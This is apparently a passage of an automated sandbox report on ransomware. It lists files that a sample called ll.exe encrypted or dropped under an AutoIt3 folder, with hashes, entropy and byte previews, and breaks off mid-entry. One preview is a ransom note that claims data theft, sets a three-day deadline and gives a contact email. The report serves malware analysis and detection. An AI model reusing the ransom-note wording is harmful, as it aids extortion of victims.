C:\Program Files (x86)\AutoIt3\Extras\_ReadMe_.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):711
Entropy (8bit):7.673621037582029
Encrypted:false
SSDEEP:
MD5:B78A287DF1F2605F5C94CC829D166C28
SHA1:EFB2B1D110831CC9DBB538C74A0EB50BD4A76A24
SHA-256:928D5CE2D088F814A944E1EE34DC09A05DDC41240D7FE4F94EF0C0E7BAD869EF
SHA-512:FA96F791538E8F81F89EF70CED0A3AB66C2CB08AB99B2E52297A165A62FE79959A1F6475AD74E79719190611ADA954A9BE90EB0C4E6008762DED20055145F3D3
Malicious:false
Preview:b.]...?=....,...|...4...P..6...<...UK.;o....:........Dlf)#IY..}u......F#{.HA:.S...%F.@tW....\.[j5.@.H*.....A;.KG..jm.s.I<..y8..'dV.t,G.l.gJ.bT$.....4...8....-.y{...!...Q.3.N{...v.....e...P..~3B.q......k....H........O. .w.w.T...W.....,.....1...~...B.....z/.KO.D./.L;.G.2..{...4V....c.&..I..P...YL..ak.*../.....wO[....#$.4}x.....b.*=....d.v..^b.......@ZR...34.*.......(3A..;@.........g_.m...G.4S.+.....C;f.\.=of...v..n#...T=.H@n7.j..^.....e..+Z7H......N.....R..R.1..m .e.B.j_...l...m.^.......p.}.J,........iTL.:7c.mRD.y...l..3.*._.J.c<..=.."A...y.K7.}.Ir...j....:,l-.nQ..l<d.5......C.'L3.go.W..E.#....;l.....&..j...x.V^Z...I.k.F..].....C.+.D.C....$............$.........

C:\Program Files (x86)\AutoIt3\Icons\MyAutoIt3_Blue.ico

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7940
Entropy (8bit):7.979978383347682
Encrypted:false
SSDEEP:
MD5:D296A9A69B60E1D19C049A02812C1A3D
SHA1:5FD439703C3F2F0480E5C00BEA7C368FBEA64A45
SHA-256:C5E172BDE10D7EF176CADE06CB3B113E960C9010E4FB9811CE938B59AA63491C
SHA-512:553C9E36F6F5B18F9A81A2CAD414239F7449E585B8119720864CB9808FAFF9545E168CCD5D970D23F3E7C365690A1F3A2D7D76B846BC8B68E7E3F31D0B539B04
Malicious:false
Preview:.Bh%...=.{....~.V...ydK..q.(. Y.....7...L..... .'.p...B...........Kh ..D..W..1.k...^D.......uAE.....*.M..#...O.zJ.h..;aL...z.K....%..c...P.H..W..u.H[..|N..3......O+s.5+...@....65....a.5kJ...:ABi...!xE(.V.C..N.vbr.,..v6..Twk..t./3mf6....#..|uMv...47...O......9.....T...1L`...gN.{.r..w...m.8....k...xE....ZR...-....vx...Z`.\....e.....M.#}....O..scK@.....$.^..=.n..z.3v..<.'.......c..a.3J.d.J.N.kE...........iq....3....^W.!w...uV8.....pu0...i...d..?.._./.f..K..&.B.z..w$<...b...!.T...wq...t....bx......f0.|.)Hw..n....uDN..t.......".\.q4.<X....^h(A..Q4.q..;..(.......4 h..?.q..ue...7..()S.XR...a.Yn..E$)..K....0.K}.{%t.0|jR...;."...e<..8r.%...i.^.....vL.T~V.()+.]i...%..;.%...{...I..1jI.ub..*H...Q........7.N.........kd(....sL...........<..N.t.c.8.......E...+..Zl..px>F..G.....f3..J.J.d.F.I..xo.w...?]..t...P6...,L.g.*.~..4.,d.k42l+.$tAoD..(.6B...X%..=.H.]"....$..z .R!..D...F/0QJ..S.....ZOy..%..m.~?./.....N%T.$.QE..d*.....q.w..Z..kH..y&Y.....I

C:\Program Files (x86)\AutoIt3\Icons\MyAutoIt3_Green.ico

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7940
Entropy (8bit):7.974906647590987
Encrypted:false
SSDEEP:
MD5:4F668331A79D586568C924895DC95008
SHA1:B0332A6701D602D6DEB0E6E451D588E3FB7C5007
SHA-256:3F86E86F7483D61673AAA61203E78CCCD9167C109ECBBB4F562C26EE0FC406C9
SHA-512:DC4D2043C092409B4EC6D89DF2E2E30AB6ED6C141CCEF6CA276F9DF0E0E4921AB9A1E9F277800956169A3A6113A052385D724A8E030E42F2B905E9B26E5D9E0E
Malicious:false
Preview:.w.}......$..:z.xoZ..nP=.4Z.m......Y.i...@.L....G.*..J...M..._p."...:..%/.^....@@......R.............:.~.....w[..7..Pi/.....h1)+k.. ...r..\.s.=t"LO...6....'La..L.....V.^..9..?.`..].$=.o~hY.:....C<.....Q.+.>..r./.....!.{...2v.<D'.r...r***.2...`...&3.>l..)..A.gaY...Hg>]|].Sr..{.3...ri.ays,.Q..;..6..z.K.hh..>.<.d....2.-...C..j..J.,......C..h... .uL.Fjy.=I.P...t+r.j..J;.Np.....S9.........=.*.<..F.Z.b..m..NyZ./@b.Dx....P./..RT.p....V....d$....4.'..A..)......Rk.!sK..;.-../.XW..W.,M.z:7.D.U.a..Lu.^"...Q6jX.......h.\..O..p....7mO.2H..}..#{.z1t.........y.1....H.........x6.:..4'W.C..2.....b^nX..5....d+.....2.8Y....I...hR>n$..}......u.u.....2.G..3x1..j..u. ...t..=g.?.6..8.1.$.... c.WkQ].)..B{4..cB*N.X......I.....);........@.{.XF...g.t.D..X..,..G..F...`.L..7..!.">...5.7m.?we..9p...y.x.7!sW.P....$..<FQu.1Sq.:.YN....P,..a...Y[0!u..z..g.._.R...\:.Fb.,.].....A.g..}...@.G.GP.4.....S!./)86..y.-. ..Gac..........-n.......:..../..q.+,%hD.P..!......n.8f5F

C:\Program Files (x86)\AutoIt3\Icons\MyAutoIt3_Red.ico

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7940
Entropy (8bit):7.975718709456009
Encrypted:false
SSDEEP:
MD5:E0C2EDA9605DFCDE7DDC0DD7B9AD7556
SHA1:EB01567A888333DDCF74D358EC08155FAB0ECB33
SHA-256:285D9FDA06071ED7CF68DF99101CC6DF7D70B5AE7BE93DE149F83D88D68274C7
SHA-512:A684F9D0820BDABACB44773D87638FCAA4DD73787131A3541B0BB851300E5D1A15647DB4A8553B80D8CF80B671DE4521A50959ECADD0B75F7B63CD9E429FAFE2
Malicious:false
Preview:E;mz.s....6....2L.....>....;=W.m[.T..*.d?>..]kx...5.x...j..l..H.....^.*<jOw..A.....(,.=..^.%.H.T.:.......&qb..!.~..4..t.>j......g..T..^._.=%.%7.y........c..3............A..I.._....Pl3...|DY.....D...<.....ej:.....*;a..]....l$A.QL...:...^...f@.. ...QC.....PA].*ElK...{b...~....=.}..HuT...g..D...{@.Z.t,.0./...[..5h......<j..J....w.R1.i.7...1.\h{>-.Y...kMBZ.....h....A@P..iS'.+...(....y...I..M.o.~.D..g.`.J/.......n.......D<.o......F.I.......~...?...\.....UMm.5L.&s.(g...".B..K..........._.a9.7I.zN.'.?%.L...I...P...Du.J.a.<.IR.Z........\k...9S.34.M.Z..].J#..k.2...^......I.P..*.r..|.....$..56MuQ*..TIOJ..z0...O.#=).8........U.3/M.r..6.#..M....Fv.<.2.D8.e/.X....cn...~.7.......w....m1..'.q.("....>eo]y..$3.W.8..._|..Y~>N..4..%..m!..q...q..!. .L@XMNcp(".`_x....X.U\U.j-D.x..F.G,....w.~_\.....].3..$.e.&D.E........%..$.1a...0x.a...vO..!..Fz.M..)`E...)o-l...#b..d.8......'..p........g.....d,.Pj.y.#.=...(...x...i`..Ck..G@..a....u.{<.i`F.r~..#...A..p.Y

C:\Program Files (x86)\AutoIt3\Icons\MyAutoIt3_Yellow.ico

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):7940
Entropy (8bit):7.971413958630938
Encrypted:false
SSDEEP:
MD5:67D8B1FE7AE1A14F07296777086F8D10
SHA1:C8EB7E8C49A9D04E7E2981ADAD68B4E7E44E72AC
SHA-256:6CDD60CD6E3E972A0D06EC65FC305A67277B95B0B1C1938043A479589969B750
SHA-512:244C913C2DB00ACD17ADDCFAE7E7E1AD45263FA1D2247F41B9B3C5B30582D27BC05CFE2CF6AB050510BF85043DF69E1B417D991DE0E87AD0A31A00BF0E1AEA7B
Malicious:false
Preview:.U...rN...D.y.(Q.S......r.....?g_..k..2...Q........=..i..R....5.@ZQ.d.U...k.z...w.........XbZ.(|C!sN.....b..{.... EZ...t..d....A.w.n.1uh..;xU..:..[<;(I...T..$.......j.~..[z$da.)EW!9.3....sdmq..d.(o..&........#.....?!A...5L.f\}...m .......g..h...A..4xq.h..C0....pQ.]d.8..6..mq.#..$..{[.O29..h5.H....m#.{..2.nM#..H..)$.$...[.oo.^.B..7..]q...|....Shx..V.[3..L..>..4.{.7.].fa..]<|........$-...[..!....j.#p...$..Z..q..E#S`I<*..IV....'........*........9f.....\........)}. .|7N..,...`(.vI.h F.U...T..s..kv.....a."fi....jD.1L.a.}..~5....?.....r...E..l.>#.....jT...K.=j..#Kf....^2......m.L...Uf...x..W..qq.B.K.....-d...}...5.]..9...v...W.0...(..p.......$$.0Gt...0.../`}..qRa...Q..i....l?V.0..[r:.....Y..'H.@...*.34;.C...H<b.)8p=oU=......u..z....(.m..}).=.\.m..}.$..4.NX...P....w@....)o.p&.1.b..M..Y.bg.Uv.qH.R.9.....%.1.............Y.H^....gpn..<g;..n...q.7.G.L....C...|_..W....|.......)..~..........h...e.d..o=...../...H.q.l.}l=...~......|U...@.y...".

C:\Program Files (x86)\AutoIt3\Icons\R3ADM3.txt

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:ASCII text, with CRLF, LF line terminators
Category:dropped
Size (bytes):1290
Entropy (8bit):4.607071403570347
Encrypted:false
SSDEEP:
MD5:FADB0F250D20EF2F614C4AB5D5D3AB0F
SHA1:41E8255C91A40A8E832A8AC05747C9A579F55D07
SHA-256:2CD73F11DA515955B62A930CA4DEFDE9CCB5230B8F5809E3C304EF854604EDA3
SHA-512:E97F4B069ACB91C332BDDCA5C4314CBE6CC79C37E93CBB3F4D8B37544B49C2868E23B603FE4563A8961616F137CF646153A82F387D9C55CF8191108E86CF1368
Malicious:false
Preview: _ ______ ____ _____..| \ | || ___ \/ ___|| ___|..| \| || |_/ / /___ |___ \..| . ` || ___ \ ___ \ \ \..| |\ || |_/ / \_/ |/\__/ /..\_| \_/\____/\_____/\____/...By now it's probably painfully apparent that your environment has..been infected with ransomware. You can thank Conti for that.....We've modified the code in a way that will prevent you from decrypting..it with their decryptor.....We've exfiltrated a significant amount of data including private emails,..financial information, contacts, etc.....Now, if you wish to contact us in order to save your files from permanent..encryption you can do so by emailing network_battalion_0065@riseup.net.....You have 3 days to establish contact. Failing to do so will result in..that data remaining permenantly encrypted.....While we have very little sympathy for the situation you find yourselves..in right now, we will honor our agreement to restore your files across..the affected environment once contact is established and payment is made

C:\Program Files (x86)\AutoIt3\Icons\au3.ico

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):32060
Entropy (8bit):7.99377784100822
Encrypted:true
SSDEEP:
MD5:FF82D3B4FEDB0ACF8D0CC52A0AA6E131
SHA1:B159A2D86B689A841077FB112AACF7859A60C3DE
SHA-256:AAFE357994121BA451EE46044A1F418EFFECFEAB2556533F5E7155AC043B77C4
SHA-512:36467C0FA5F50EC80A67B851B812ABA407BD294134525657EFB9ECD9730EC2A9BE88BEC941AB98612B19BD7C44F3457F950E2CD651D495130F63DDD967CE1BB3
Malicious:true
Preview:Z.}....G..D.........^G.......6..c.....gU6.....k..j...w..Y..i-...o......m+.(M|.LtA>..:d....$V.`.._..X......~.....w..-P...3....6.....^.E...MW.N.G.....b.3.E.8;.q.....G.V..=....T.1C.&..V....:....j}H..is........ .Z....cv..q/...{...s..3O...K..H^#.M!vS.X...CT..^8.g..Q..V.....F:.c.2lbjaR.Y./...Zz.X.v...-..~Q....KBk.$...C..m.pn.....2...y.G...~1/!..... .Z;..\..'l<..\..o{=p:.b?.gO.n..P%..%.ngc.s.t.O.\..h3Q.+...H.^s..MJ..L...l.r...u[.*l...oL.......x. E.H..K!).Z..P....b..M..VBhHM._...<...w.F..:V.E.a........4..4\.IU..?.(M./5.`.Ct.7...#f).)L....!g.\k..... ..u.<..........m!....qY5....Z.~..{... ...T]`4.....;D4...fku........l....H.........9.........[..H.U..q..}8[..z4..I.+..Cl./B.p...;VS...h..P....b...WQ......`..t...#..(.xN.K.$.^<..Z....:.^~).;("._.z..4.h.>.S.z..#i....m..-.v.IA9o....q..^.;.S......_.s..t...A..e....u.(.b.Q$>._.=......7.[.l0.^.fn....a.(..b,.K.c...M...<..=.=.|V..~I.....P.......LT..E..;e..,..g0........8.'...^W.,...H.*.~.S<...B?...c..r

C:\Program Files (x86)\AutoIt3\Icons\au3script_v10.ico

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):72080
Entropy (8bit):7.997452964575318
Encrypted:true
SSDEEP:
MD5:CA473F3B8DD132C08D1B6A8C89CA25F8
SHA1:617BC588AB3D06346E6D1E6AA16B08C6B1C824BB
SHA-256:419326EFB1FB7AAB0657D6A2DD190A7A179EF904D951D7400F2F959E879FDB65
SHA-512:4D9A5664828F711018C394395CAC0AAB476BA396414418D9959B02D89ADFF02031A6696C8D2F2B3CF4C6DADA3479FFAD641B8346F0C7A4467309995E54DA936D
Malicious:true
Preview:..:.v..w.F...e..C..&...c.\.........d..W.b..........O;..6.......tb.....<*...01H.......Unc.F..u.....pL....*>.^.M.c.&LA6!...7o..-......<.j=L..H.......OVh..A,B.,}7.2JxL.......d..N..D...\._.i..[D}...m..J.G..e+m....4..>.a...\.G..4"x..5.....&......$....k....R.....].9.5... s[....s...cr...0...7?..s...X'.,.K..[..s.j...E2...l\z........GS.;.'e.....|....bH....^..R.q.8R."0.1...}[.$G.N.....f..{."..q.r...t......'./o.c...aY.v.]V..d...Eo...............vpp..v,..^^&.YN..G.v..Gd.NH{..1.rw>....>..]....H)........@.u...'.o..8......A.A....(3....0...cGT.+..ZbEj.T.zT.........).]O.9..:F~0>l.=..6"..,l..I..Q``[w.Rv.]c+....0.8 3P....E0b.'%......\...S..O..>....$C._.,.vPD.d.0...0_.bi..CC..(.mq.b..>..bWm.c.Jt...Y..GQ.y7`..../......+.^...Z1`...q.....j.\X.yBdc....C..e.,A.K.U.....S.j-.F.=......n..AO..T....z.9......=.v.<H......_....."..@...#`5....D.50r.^......j7W..GP..2.z.W.p4...3..1...K.Q..Np.....6...A...u....c..'...w7..(..[..0q.Qv...IX... .l..#.. J....-..{.z..,U

C:\Program Files (x86)\AutoIt3\Icons\au3script_v11.ico

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):41821
Entropy (8bit):7.996306902289606
Encrypted:true
SSDEEP:
MD5:ADB545D27323747562CA7548C9557F7D
SHA1:AE0B0DA9E6FB1795CA3BFBD87B009BCC691B991E
SHA-256:1ECFD36222C5DDC368AC44C0AAB8270807E1BF84CB02E3C7888771BDA8967C83
SHA-512:C97A1B073E2A4191ABB4228B050FE20C90DAF9EDF8787F9E52D6FB1C76E240EAF8285C9381D67575FADD857295EC7EF22807BA69C26EA8A1A67CA533109AACA0
Malicious:true
Preview:...n.;..h.?p....;.Y.1...w''vb.a8h.....m.]v..*..../.[Y....e.i...7....E....}.].W..sw....p.BX.TD....TC8.D..T.v.../...}....l.0...]...."..............i=[..........K.Q.`.t.FbUI..*3k.:.^..r...I.....f..c..<.N.....W...[.K...c.%I6..x_....eHk.Q.e~Q..Gc.p.N....(o..okF..Uf..8./..u......1!,.....h3..j}.=H<E.{.L...../E...0..H..F..K.c.#.*.v+0.q....@.l.."..-.w.FW...NMW.,.~.3.=sH.K= ...,y..0..F..B...`'x..%.:...V`n.l(.."b.....Z~...Jo.......`&.t....y.Vy.D;.h.m...Y.v.$.....u...Xc..YB5..z.d./.3...<...D.}>...!..i._...TItG...qP.50.f.Q_.+.}(r..0.{d...i4.. 7.q*K......r.Dz..I..oW..Q.V..dDpF..:.$..GoE!.d..Um.......b.....m..u..m..p...A'Q._..y.x..F..P..1.Y..._j..@..V.[...c....h..:...8.k.....H.}aj....wd.3e.g.?.D....#q...j.b...e!..3U......"[:m...u.[...]l..k.....K.\.qa^.....s..vb...u.&....8..#.B...@.G...2..>....a,S.......#+.G...(./.[....R.a_.HV...C.....E.|.."X.w..]3........s....&...#...h(.|.].6<N....n...,S...D_..1.[..hs3.>...ihd.E...&..C.g..'...6..`Ct+..2.......{L

C:\Program Files (x86)\AutoIt3\Icons\au3script_v9.ico

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):25748
Entropy (8bit):7.992864143269611
Encrypted:true
SSDEEP:
MD5:FFE985C4F327F1E515EEAEB83E82EB02
SHA1:3B8826CF9D5189ED6DEDF82A98C464FAB8F4F486
SHA-256:AF8ED0C4880A10A640FA8EC2D14C5EEB6464528F1AF610E7C23CF1A7475E61F1
SHA-512:494DF26B556DB9B0117FFD688550C92D53FBB288FB232B309C019341A27A4728F411B8E06E19B1008ACBF973B6076496170E43C411F042A460C8C4CA5BAE8804
Malicious:true
Preview:..t."q..36C.@x..R....,,.SK.-.R.'.\w...m.C.......j.a..\....ef.......h.^?....8}...e!.)3>>q.Q...'..E.j..v.}...B..q......<C.s...!'._v.#..Z]...#...8s......x..zO...JX4...%:<W).&m....tw~..2.\.%.#f.{.n.....c...uN-Q..&S...E.{t[.].x...v.?..?........x.1...w.YRm.. .. .p5X.>GR..%~...q...{._w..Wo.s.;uX>..i..S7..B..Fa....._ .Cbx..a.F..F.....G...RS..\7Ex.....<T,.j....IS\.D.......q..J.0....L..N..A.....~5r+.w.Nt..C ..9D.-....@.d....@.eQ........A`.q..K.}ge.u.....svCt.....C....$...-J.9a2&c...o.yv....h..}.ew.O.T..0s"..%3gY...W7..j......s.[.X...1AN..Yw.N!....R...".....`..c....._.h..B..12v...YZT">X....X...1 S.H.[C".XhB..&.....Y......uG ......k:...n.s..z./~..-.:..i.n.....+..l...x.._......J.G..\...s..v..._.!...!9.....[.u....i.....||...g...]..5.12.!.:LO...P........qm..H1.;XxKY.1....Sj....%.,.q.....w......R..O.Z......wv..N3...?..dU...a~.W..0.26.......{/.B..T/u.PZU.6c.......IdO%t5....bf..QQ..6............k..l.}.v..].Z.ns........b.; ...{...r.R[.tP..?.e.?...O..q

C:\Program Files (x86)\AutoIt3\Icons\filetype-blank.ico

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):34118
Entropy (8bit):7.994979523035291
Encrypted:true
SSDEEP:
MD5:71A2BABA6D073FC8A9C3D2CAAB38B8E6
SHA1:4545F5DDC3B9814E58A55E5E6B7C55494D64851A
SHA-256:1327766DF6C225BBDB43D6BBB4956FC80DC0A37EB8B5BB6A186E2C46375E0C9E
SHA-512:CB4F0850B29574567D43123FD7B2ED43946DA6634C06504F9E35E7ABE64D0C5B77F83B05F6CE18620AA60BC88C19B632DC832BC6FB318BCEDCBC0404703B2555
Malicious:true
Preview:.W!f....P.A....=|....H_1eg..-\P..y.....XE..8.BWKH......'E.,.>y]Vm.5Q[_...PX...l.E6.@*\....V...Z.F...O........0.......7y..<......H^.]....(.A.V%)...]X....I^..;[..[..../}.a........:.........6}v...%.DN...8..&.Y~.2..~.y..e}2......._.r...8.......n.i{.0.{A)e/..I.bDGX..C.1P..Km...sF<.A.j..A.K.b...s.I.dFM2^.H;.b.l..J...'qr .~....*..U.p..;...Qh...se(.f..r_..V.i..33...8.[r-......u.".......f9.[uc.fb&..D.....s....pl.<.>]7.<...m.}*~...e.(...y>m.(.`....]..I.B....7....{.L.SHT.1..J.@.w(.H....P.m...Fz.{H......v/..*..u..t...b.7H.R.i{.'..S._lZ..;O..VM......c.4X..x}p...H'...a.Yy........{.r=f._....=. 3.'~.........0..v..a.$.H.?m.iI....w.Z.}^gN...xW.e4p.>..+'....N.......s...0'.26,.Y.....VP/..r=.ap..rHd.(O...w....>....#.|..+0.c.q9......?.y..RB&F...w)..N]2V.... O?|....2.G." .w..qn......(60.}..[..].\..Y.q....qP~..V."dY.a..j...X*..o....vy.Y.R...-.?....].....Y.Q|.........a.. :.!.1.....^.@<.%.. ..h.q...K.M.Yd..4;X.X.1.k!.&..-.............@d,..`..W..EA.#..R>h#....

C:\Program Files (x86)\AutoIt3\Include\APIComConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):1505
Entropy (8bit):7.833876085850674
Encrypted:false
SSDEEP:
MD5:B84ACD15F885FAABDF1E4122583F07EF
SHA1:3EAB61D8A1B1E91637D5A5B61C2DB7E10CFF870C
SHA-256:A80D55EF54CBDFE23F28E0DB1D5ED7398539A25AB5C304F3E0E729AED413376D
SHA-512:4C0CB9899F814DC74000230B9FE597BDD1DA480AF8CC040844B634DD9ED7A487D11F4D86CBC8487DB4349637458C4F31B80E96047E0CC2BBE543A5C64E1729E8
Malicious:false
Preview:.......c...QY.......ma..U.G&dkk3.%..3...4<...4D..tM..gde.Z.i.S.&.L|.G..i.O..;...s9u.....{..<..NT.x......X.<85....e..;.o>...s...SVSpV.$6%.emi....)......UwT&...f.a..,EDdRA.UaA..`._.5..Y.u.D;.li.'(.m..X.._.K.....sM.4|.m.S..>...il.8...l..B,y...?.{..IG.u....mE.......y.@..".'5.bf[..2..t.Mq...<.c..J*....nn..D...n...../T....H.g..........}........`....*...t.d.T.......L....E.?..t...0+..U.........@m;..,..4.hD3..?..l.S.._...:h.-.....<...v$.b.#....a..W.B....%=&..4.",+u...u)J@_.O.X.ywR.d..r|n.e.....Zh...N...k`..$\.?%.H../W....(......o.U.yo.W..."W...$..z../..j.:..I.t.8....'......4Q.+(.?..c..6.....D..<S1(...m..M.v.=.S.=.<..m..bu..>....E..y..V.. ..r..%`?.o..M....m@Gk..bm.P....f....1.{$....".;>.....|.N....h.A.f....6pc..;6..S#..=~..K.W.fc...s.......h....I..7R...A7G.{...ycI...:\....mE..{.I.<H.Nj.^YN...u./.....0...Snj...[5..s.:'....F.iK}.@.d.[....4xeL......q`@K..>..l...W......9.4L...:.....-.f5...#...|..Vd....&...?..b..[.'/..P6.p......R.1c.2...i......E.F...

C:\Program Files (x86)\AutoIt3\Include\APIConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):2282
Entropy (8bit):7.906465273607214
Encrypted:false
SSDEEP:
MD5:C6CCF36D8E54F48B59C35AD5AE397A9B
SHA1:77E1D8DECB62F4E74657B5024DE47D821A224FC4
SHA-256:02555ECD95A04515F819CF420CB2A2CAA7C7B2762FE2A042C0E843935A7A0211
SHA-512:03F3CF1744A7F59F7D4F7A3AA70BEA18DD24AF4C894E955AF060928414E5D535DFC4DCF973B025EA15DA841C4F9F6E5E0CF36CE286FB20C885FC2E26B0CAB500
Malicious:false
Preview:.!.H:......[A%.P.HKj8O?[.Z..1..r......y{.[]:..$I....m..J.P..O$.....T.\<(..-.t.%.X.....u....M......,..fS...f...}1..Y3..c...qrQ...PL._....Q....<..+...b.2..iV...$..|..-yTS.<v........)...1j...&*m.,Z..`.........+..M.;..t......Tj1.`-.b....D..6.....k..(.cInT>Z].RN.6j3Vk......7.8ZP.&@....{....T...{9.!.....XZ.9g.h{....2...V.7...i...."U+.8...e.I.....V...O...3.."..j..].WvcjX....q.x.K....@.2:t<....AS....-..Z...7.Vi.2@.[2t.{*.....<....}.=.]...tw.c._p...6.lw.9..Q+..^./5.j..FA.5[.v.Q...#............p.v..%M..c.F.^..V...QX....r"!>...H{.....(.y+.*.eaD.....#........KBU9Pqa]....].........Q.V.!>.".Sb8^..s..)....2;.$.. .p.l...:.....xK.7.w......(S........q.0g......>....^....bu...C.Q}...p...O....../..feschv.>.7.......y........$..@.......Z*..!..:y..Y...d.7.....oV]..\." )...%.,i....h..l.O....)Ul...S....f...-.u3.Od.1..fH9.!..W.......ff.T.......v......seC..3`e.9|D.........L|>4.V.=.@../..?.....4.I#A...H..A.C_2....sL........(T..b}..X.._..... Z....wI...Y}..w..)

C:\Program Files (x86)\AutoIt3\Include\APIDiagConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):3440
Entropy (8bit):7.942456783005775
Encrypted:false
SSDEEP:
MD5:32E8740FE7D6A3B25A197E3EDB65D6DB
SHA1:B51107159B5EA78619FF485817AC0D057D0B05E7
SHA-256:345FC3675473B6FC56E8E16C838D051C1DE565AFE5595C2A651278725B06A0D3
SHA-512:044E830EFED009CC984C251AAD2FEB162772233FDFB69E63DA0172CE48F8D329B1BBAF6453E754C4FE4B10B493BE87F26FDA302121D4E1FAB0E6F5512D4236FA
Malicious:false
Preview:......Q.K.)....A...6;....Ae......^..../g....}.J..I*..aR.......N.q.{.....-..{...P}|..O..<.1.......D.a..[7.N)..T....>..{.kU.^..QW..!.0.!....:.C..7.h.Hi...S...==N.........tM...8Fd2.K8..d....Vx.....-V|..I|F..'.Pd.q.n..`i(.h.Jq..m...G......^*. N..a'.~Q..J.)r.Ec........'.."M..1R.e.Geq......ovq....Y').Q...?.e.....k..Q5.\.4.].M...<.PS..H...?D6xs..{.H..9Bn1..\......\...B.../X......z$[...UQ...?X.._r....sGy.G]B...u..@...P.yuU..H..P...L.....9_...;l.;........w....cs.[.;..-`........u.TD....y.v7...3..U..D*...]'Gh.f.<.Xh.K.0Q.x:#...r....:yl.F.......r.r..V.R$c.<.]C..@.....+..c.E...L..V....:J.j,G..(o..K..>......n7..!rj..{_w....4....uS..j.O...s.,($9i.QCc...L.3Q..z.<.w...c...l.m.../$.......6.....v.4.#.G....PViC.th....!#Ng..SK:.w.....R.1.g..X....IJ3=........9.b....~cY......C..9P....$....q;<..".0.klAQ.W..y.S..s.37F.."..i.....w.0...T.....HGZ4..T.yD7...@z.R7..b..4.Y..c..wM.]..NA.o>....B.{h.=o...5W....*(1..l........(.)n..4[.V|...<...^...l}909?.8.'...

C:\Program Files (x86)\AutoIt3\Include\APIDlgConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):11289
Entropy (8bit):7.983736334705496
Encrypted:false
SSDEEP:
MD5:B57C07D46B7023845C80AFFB175AA589
SHA1:B22E5027952606C16BB75347CE9ADF7C19BBF394
SHA-256:2181B6AE457DA3B7A95145B38D49A303182C1A15AF0AE90C076EB68F0728C0A0
SHA-512:ACE60C98C567CC5A518B7879FAD466D87E481AD070532DC0C1DB8E8C867706AB9EC1B64B7FD4D4BB31C9D48AB7C7B4D6C985DA6281E50CDED831AEF316522106
Malicious:false
Preview:...:......r......tZ.I...687._.C.....&.t...O.....T...!w...3.......k:H.7.N.L!.....s..C.4..;.#...;u...f...b....X.#.Z....)h.....al(.....1...Q..g.<..UW...$..,...$M6H...Y.~j...V....'*.u6..i.'.N..Kiz...i....d:i{.....g~9x...r..I'.<@.!.O5.U).c.Z.6\G!m.Q.z...K.".>..E.....yg.|M/...S....&X.:.wj.....b@%.FNT}_6.3._.[}.r.O...>.....U...s.{.....&_.....L.....:..#`D..W.C....DU.....8.2.).^...A.w......xX.&L.U..[..R....../..*....t......~.MD..x.$...FT..}:...2zkk"..k.`.Z..*M%$v..S...mZ...j8..:F....i....e..?.^".......P.1....%...4..>....I....7.B....yQGOV.....;..p.%.8.#f{v.6Z.J.......2..gV..h..l...I.k{7."~~(..h.M..zG....V....z.".......>.wpu....N.s,9%.Q..Z.4.cZ.3....C......^V..m.6'J..;..O.(v*S.R'...J.p.~Q.w. ........:...#y.~\&).2u..AP...F.1k.>^l.{.K..r..:.uw.....].S-&I...+c.t......A2..S..S|..........}.~..]5`i#...4.K.[...Bt.9.."rX..wZ..:$; "N.,.\N..|(......0|..J.>:...np.).....j...7#..,..p......n.....,.._.J.=....l..n....&...2m..1..fsM..2.fe..zV..6..Z.*..4. u.0.c.....d.i.

C:\Program Files (x86)\AutoIt3\Include\APIErrorsConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
Category:dropped
Size (bytes):309995
Entropy (8bit):7.9994458193826095
Encrypted:true
SSDEEP:
MD5:DEB561D29C7731A52D47C2DC7A2C873D
SHA1:5DB4F53F36B4F6076861DA5C6BEB0C028C81918C
SHA-256:3DD6346D3E6B8ECEBD90773040D6F440942166D1664C5A0088D6D0C80840678B
SHA-512:FD4886C10871EA82EC29DD75D64B9DCCC4049103D53E6F77C960D027865D11DE76B01EDD2944E894902195D05115A6A22B3213A2BEFDC67C0629DC6CC7F37D9E
Malicious:true
Preview:..].I....f]>.r.cp......*..*R...H..%...sk.......\L...F..s....mA......f...t.|._.\...nYBW......o.8..m..6.8....'..c...1E.$....t...TY....h`.X.~^..AI..............I...#.2Q..r".=..U...>q,)Pt..c...=(..+h.;Q9..7.`."..S.N.i.{..J2..C..br9.SO.'...x,-.Q..5..d..&..`..U.M`sB....(....p....M....h...}..3G.B.x.V\..o/......T.q.l..i,v...mB.m.gg.%..|.-....k.....)w.<E.....H.<....#.33..G.N.L9.Y...}......=r.!...r..h........5R...pnt..z.h..|.*H...../:w.........w.._...B.7..'....kul..@j.8.Pq.7....<:.iNa.}81^uKhr..h$.........i...'.q..f.W..U....}G+KX.v.........>.$.....wYb.H..m......P$.....i....>....M...-3...........@...Jz.F.pGT.. ..4'.1..w...a....de.Q..2....L..e.qb_6 r...\Z.i...q`W.f`2y.;.C..K..W..x...;...".....|.3.Q.~`1.k...+....$.7...oh.s..yj"h.}..f.^.....\.W.$....lhM..v.....:.....rW:db'[..`.P.g.k......!...vW...c7.}9zb..X\U....K....2.....Q..B....&..Z....Ee.:...9..hB.......v5..".gO].a.H30...;..,J.p........[..x(.h...0.....+_(..}4.K...~sPt...........By."9.^.....\.-eO.[.....*

C:\Program Files (x86)\AutoIt3\Include\APIFilesConstants.au3

Download File
Process:C:\Users\user\Desktop\ll.exe
File Type:data
